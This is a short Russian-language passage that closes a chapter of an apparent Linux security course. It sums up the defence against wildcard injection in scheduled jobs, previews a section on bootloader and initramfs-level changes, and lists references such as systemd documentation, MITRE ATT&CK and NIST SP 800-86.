Вторая половина темы — wildcard-инъекция — показывает, что задание планировщика опасно не только тем, что оно запускает, но и тем, как оно раскрывает аргументы. Правило -- и отказ от * в пользу find закрывают этот класс целиком.

Дальше речь пойдёт о том, что находится ниже systemd: о загрузчике и initramfs. Тема 6 разбирает, как изменить систему до того, как она смонтирует корень, и почему такие изменения не видны ни в journalctl, ни в списке служб.

Литература

  1. systemd. Документация systemd.unit, systemd.service, systemd.timer, journalctl. — https://www.freedesktop.org/software/systemd/man/
  2. The Linux man-pages project. — https://man7.org/linux/man-pages/
  3. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
  4. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
  5. Debian. Debian Reference / Debian Policy: пакеты и APT. — https://www.debian.org/doc/manuals/debian-reference/
  6. MITRE ATT&CK: Linux techniques. — https://attack.mitre.org/
  7. NIST SP 800-86. Guide to Integrating Forensic Techniques into Incident Response. — 2006.